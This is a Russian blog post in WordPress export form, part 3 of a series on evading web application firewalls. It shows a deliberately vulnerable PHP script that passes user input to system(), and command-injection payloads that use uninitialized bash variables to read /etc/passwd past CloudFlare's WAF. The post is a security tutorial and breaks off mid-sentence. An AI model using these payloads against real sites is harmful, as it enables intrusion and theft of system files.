{"id":7769,"date":"2019-01-29T07:33:15","date_gmt":"2019-01-29T04:33:15","guid":{"rendered":"https:\/\/hackware.ru\/?p=7769"},"modified":"2019-07-24T18:12:41","modified_gmt":"2019-07-24T15:12:41","slug":"%d1%82%d0%b5%d1%85%d0%bd%d0%b8%d0%ba%d0%b8-%d0%be%d0%b1%d1%85%d0%be%d0%b4%d0%b0-%d1%84%d0%b0%d0%b9%d0%b5%d1%80%d0%b2%d0%be%d0%bb%d0%be%d0%b2-%d0%b2%d0%b5%d0%b1-%d0%bf%d1%80%d0%b8%d0%bb%d0%be%d0%b6-3","status":"publish","type":"post","link":"https:\/\/hackware.ru\/?p=7769","title":{"rendered":"\u0422\u0435\u0445\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0444\u0430\u0439\u0435\u0440\u0432\u043e\u043b\u043e\u0432 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (Web Application Firewall (WAF)) (\u0447. 3)"},"content":{"rendered":"<div class=\"576fa40ea81d72e15bb77373cb701737\" data-index=\"1\" style=\"float: none; margin:10px 0 10px 0; text-align:center;\">\n<script async src=\"https:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js?client=ca-pub-7219829351026140\"\r\n     crossorigin=\"anonymous\"><\/script>\r\n<ins class=\"adsbygoogle\"\r\n     style=\"display:block; text-align:center;\"\r\n     data-ad-layout=\"in-article\"\r\n     data-ad-format=\"fluid\"\r\n     data-ad-client=\"ca-pub-7219829351026140\"\r\n     data-ad-slot=\"2558585710\"><\/ins>\r\n<script>\r\n     (adsbygoogle = window.adsbygoogle || []).push({});\r\n<\/script>\n<\/div>\n<p style=\"text-align: justify;\">\n\t<strong>\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: <a href=\"https:\/\/www.secjuice.com\/web-application-firewall-waf-evasion\/\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/www.secjuice.com\/web-application-firewall-waf-evasion\/<\/a><\/strong>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0430\u044f \u0447\u0430\u0441\u0442\u044c: <a href=\"https:\/\/hackware.ru\/?p=7715\" target=\"_blank\" rel=\"noopener noreferrer\">\u0422\u0435\u0445\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0444\u0430\u0439\u0435\u0440\u0432\u043e\u043b\u043e\u0432 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (Web Application Firewall (WAF)) (\u0447. 2)<\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u042d\u0442\u0430 \u0441\u0442\u0430\u0442\u044c\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u0442, \u043a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 Bash \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 WAF, \u043b\u0435\u0436\u0430\u0449\u0438\u0445 \u0432 \u043e\u0441\u043d\u043e\u0432\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432 \u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u043d\u043e \u043d\u0430 CloudFlare WAF \u0438 ModSecurity OWASP CRS3.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\t\u041d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0434\u0432\u0443\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445 \u044d\u0442\u043e\u0439 \u0441\u0435\u0440\u0438\u0438 &laquo;\u0422\u0435\u0445\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 WAF&raquo; \u043c\u044b \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438 \u043a\u0430\u043a \u043e\u0431\u043e\u0439\u0442\u0438 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0430\u0432\u0438\u043b WAF \u043f\u0440\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0423\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 (Remote Command Execution) \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux \u0447\u0435\u0440\u0435\u0437 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u0447\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432. \u0412 \u044d\u0442\u043e\u043c \u044d\u043f\u0438\u0437\u043e\u0434\u0435 \u044f \u043f\u043e\u043a\u0430\u0436\u0443 \u0432\u0430\u043c \u0434\u0440\u0443\u0433\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 <strong>\u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 bash&nbsp;\u0447\u0442\u043e\u0431\u044b \u0443\u0441\u043a\u043e\u043b\u044c\u0437\u043d\u0443\u0442\u044c \u043e\u0442 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439 \u043f\u043e \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u0430\u043c (\u043e\u0431\u0440\u0430\u0437\u0446\u0430\u043c)<\/strong>.\n<\/p>\n<pre class=\"brush:bash;\">\r\necho &quot;uninitialized_variable=$uninitialized_variable&quot;<\/pre>\n<p style=\"text-align: justify;\">\n\t\u041d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0438\u043c\u0435\u0435\u0442 \u0437\u043d\u0447\u0435\u043d\u0438\u0435 <strong>null<\/strong> (\u043d\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u043e\u0432\u0441\u0435).\n<\/p>\n<pre class=\"brush:bash;\">\r\nuninitialized_variable=<\/pre>\n<p style=\"text-align: justify;\">\n\t\u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0431\u0435\u0437 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435, \u0447\u0442\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0435\u0451 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 <strong>null<\/strong>, \u043a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e \u0432\u044b\u0448\u0435.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e Bash \u0442\u0440\u0430\u043a\u0442\u0443\u0435\u0442 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0442\u0430\u043a\u0436\u0435, \u043a\u0430\u043a \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 Perl: \u043e\u043d\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u0443\u0441\u0442\u044b\u043c\u0438 \u0441\u0442\u0440\u043e\u043a\u0430\u043c\u0438! \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e <strong>\u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b&nbsp;\u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 (\u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0451\u043d\u043d\u044b\u0435) \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c\u0438<\/strong> \u0438 \u0438\u0445 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043d\u0430\u0447\u043d\u0451\u043c \u0441 \u043f\u0440\u0438\u043c\u0435\u0440\u0430.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0421\u0443\u0442\u044c \u0438\u0434\u0435\u0438:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-9.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7772\" height=\"794\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-9.png\" width=\"1942\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-9.png 1942w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-9-300x123.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-9-768x314.png 768w\" sizes=\"(max-width: 1942px) 100vw, 1942px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u0447\u0442\u043e \u043c\u044b \u0445\u043e\u0442\u0438\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 <strong>cat \/etc\/passwd<\/strong>, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441:\n<\/p>\n<pre class=\"brush:bash;\">\r\ncat$u \/etc$u\/passwd$u<\/pre>\n<p style=\"text-align: justify;\">\n\t\u0433\u0434\u0435 <strong>$u<\/strong> \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438 \u043e\u043d\u0430 \u0432 bash \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0443\u0441\u0442\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-3.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7786\" height=\"514\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-3.png\" width=\"1190\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-3.png 1190w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-3-300x130.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/image-3-768x332.png 768w\" sizes=\"(max-width: 1190px) 100vw, 1190px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 WAF, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u0441\u0442\u043e\u0432 \u0441 CloudFlare WAF \u0438 \u0441 ModSecurity OWASP Core Rule Set 3.1.\n<\/p>\n<h2 style=\"text-align: justify;\">\n\tCloudFlare WAF (\u043f\u043b\u0430\u043d pro)<br \/>\n<\/h2>\n<p style=\"text-align: justify;\">\n\t\u041a\u0430\u043a \u0438 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445, \u044f \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0441\u044c \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043d\u0430 <strong>\u043e\u0447\u0435\u043d\u044c \u043f\u0440\u043e\u0441\u0442\u043e\u043c PHP \u0441\u043a\u0440\u0438\u043f\u0442\u0435<\/strong>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0438 \u043f\u043e \u0441\u0432\u043e\u0435\u0439 \u0441\u0443\u0442\u0438 \u0434\u0430\u043b\u0451\u043a \u043e\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 (\u044f \u0442\u0430\u043a \u043d\u0430\u0434\u0435\u044e\u0441\u044c). \u0411\u0435\u0441\u0441\u043c\u044b\u0441\u043b\u0435\u043d\u043d\u043e \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0442\u044c \u0442\u0430\u043a\u043e\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u043a\u0430\u043a CloudFlare. \u042d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043f\u043e\u0441\u043e\u0431 \u043b\u0443\u0447\u0448\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u0432 &laquo;\u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c&raquo; \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438, \u0438 \u044d\u0442\u043e <strong>\u043d\u0435 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442<\/strong>, \u0447\u0442\u043e CloudFlare WAF \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u0438\u043b\u0438 \u043c\u0435\u043d\u0435\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0447\u0435\u043c \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435. \u041f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u043f\u043e\u0447\u0435\u043c\u0443 \u0432\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0437\u043d\u0430\u0442\u044c, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043b\u0438 (\u0435\u0441\u043b\u0438 \u0434\u0430, \u0442\u043e \u043a\u0430\u043a) \u0432\u0430\u0448 \u043a\u043e\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0438 \u0447\u0442\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0435\u0433\u043e \u0438\u043b\u0438 \u043a\u0430\u043a&nbsp;\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e (\u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0442\u0435\u0441\u0442\u043e\u0432 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u043f\u043e\u0441\u0442\u0430\u0445 \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b Sucuri&hellip; \u043d\u043e \u043f\u0440\u0438\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0446\u0435\u043b\u044c!).\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u0427\u0442\u043e \u044f \u0441\u0434\u0435\u043b\u0430\u043b: \u0432\u043a\u043b\u044e\u0447\u0438\u043b \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 CloudFlare WAF \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 High (\u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0451 \u0442\u0430\u043c \u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 OWASP CRS<strong>2<\/strong>&#8230;).\n<\/p>\n<p style=\"text-align: justify;\">\n\tPHP \u043a\u043e\u0434 \u0434\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u0430:\n<\/p>\n<pre class=\"brush:php;\">\r\n&lt;?php\r\n        if(isset($_GET['host'])) {\r\n                system(&#39;dig &#39;.$_GET['host']);\r\n        }<\/pre>\n<p style=\"text-align: justify;\">\n\t\u042d\u0442\u043e\u0442 \u043e\u0447\u0435\u043d\u044c \u043f\u0440\u043e\u0441\u0442\u043e\u0439 PHP \u0441\u043a\u0440\u0438\u043f\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 <a href=\"https:\/\/zalinux.ru\/?p=2783\" target=\"_blank\" rel=\"noopener noreferrer\">dig<\/a> \u0434\u043b\u044f \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u043c\u0435\u043d\u0438 \u0445\u043e\u0441\u0442\u0430 \u0438\u0437 GET \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 <strong>host<\/strong>, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a <strong>\/?host=www.google.com<\/strong>.\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041e\u0442\u0432\u0435\u0442:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-22.35.24.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7785\" height=\"1118\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-22.35.24.png\" width=\"2326\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-22.35.24.png 2326w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-22.35.24-300x144.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-22.35.24-768x369.png 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-22.35.24-2000x961.png 2000w\" sizes=\"(max-width: 2326px) 100vw, 2326px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u043e\u043d \u0443\u044f\u0437\u0432\u0438\u043c \u043a RCE \u0435\u0441\u043b\u0438 \u0432\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u043e\u0447\u043a\u0443 \u0441 \u0437\u0430\u043f\u044f\u0442\u043e\u0439 \u043f\u043e\u0441\u043b\u0435 \u0438\u043c\u0435\u043d\u0438 \u0445\u043e\u0441\u0442\u0430 \u0438 \u043d\u0430\u0447\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043d\u0430\u043f\u043e\u0434\u043e\u0431\u0438\u0435:\n<\/p>\n<pre class=\"brush:plain;\">\r\n\/?host=www.google.com;ls+\/<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-22.41.54.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7784\" height=\"1450\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-22.41.54.png\" width=\"1776\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-22.41.54.png 1776w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-22.41.54-300x245.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/Schermata-2018-08-29-alle-22.41.54-768x627.png 768w\" sizes=\"(max-width: 1776px) 100vw, 1776px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041d\u043e \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u044f \u043f\u043e\u043f\u044b\u0442\u0430\u044e\u0441\u044c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b <strong>\/etc\/passwd <\/strong>\u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0432 <strong>cat \/etc\/passwd<\/strong>? \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c:\n<\/p>\n<pre class=\"brush:plain;\">\r\n\/?host=www.google.com;cat+\/etc\/passwd<\/pre>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/waf3_1-1.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7783\" height=\"1580\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/waf3_1-1.png\" width=\"2448\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/waf3_1-1.png 2448w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/waf3_1-1-300x194.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/waf3_1-1-768x496.png 768w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/waf3_1-1-2000x1291.png 2000w\" sizes=\"(max-width: 2448px) 100vw, 2448px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041c\u0435\u043d\u044f \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0438, \u0438 \u044d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u043e! \u041e\u043a\u0435\u0439, \u0442\u0435\u043f\u0435\u0440\u044c \u044f \u043c\u043e\u0433\u0443 \u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0432\u0435\u0441\u044c \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0430\u0432\u0438\u043b, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f&nbsp;<strong>\/etc\/passwd<\/strong>, \u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e \u044f \u0431\u0443\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:&nbsp;<strong>\/?host=www.google.com;cat$u+\/etc$u\/passwd$u<\/strong>, \u0433\u0434\u0435 <strong>$u<\/strong> \u0431\u0443\u0434\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439.\n<\/p>\n<p style=\"text-align: justify;\">\n\t<strong>\/etc\/passwd<\/strong> \u0443\u0442\u0451\u043a:\n<\/p>\n<p style=\"text-align: justify;\">\n\t<a href=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/waf3_2.png\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-7782\" height=\"1192\" src=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/waf3_2.png\" width=\"1724\" srcset=\"https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/waf3_2.png 1724w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/waf3_2-300x207.png 300w, https:\/\/hackware.ru\/wp-content\/uploads\/2019\/01\/waf3_2-768x531.png 768w\" sizes=\"(max-width: 1724px) 100vw, 1724px\" \/><\/a>\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u041a\u0430\u043a \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0432\u0438\u0434\u0435\u0442\u044c \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435 \u0432\u044b\u0448\u0435, \u043c\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u0440\u043e\u0448\u0451\u043b \u0438 <strong>\u0444\u0430\u0439\u043b \/etc\/passwd \u0443\u0442\u0451\u043a<\/strong>. \u041a\u0440\u0443\u0442\u043e \u0432\u0435\u0434\u044c!\u250c(\u25c9 \u035c\u0296\u25c9)\u3064\u2523\u2587\u2587\u2587\u2550\u2500\u2500\n<\/p>\n<p style=\"text-align: justify;\">\n\t\u042f \u0443\u0432\u0438\u0434\u0435\u043b, \u0447\u0442\u043e CloudFlare \u0438\u043c\u0435\u0435\u0442 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f 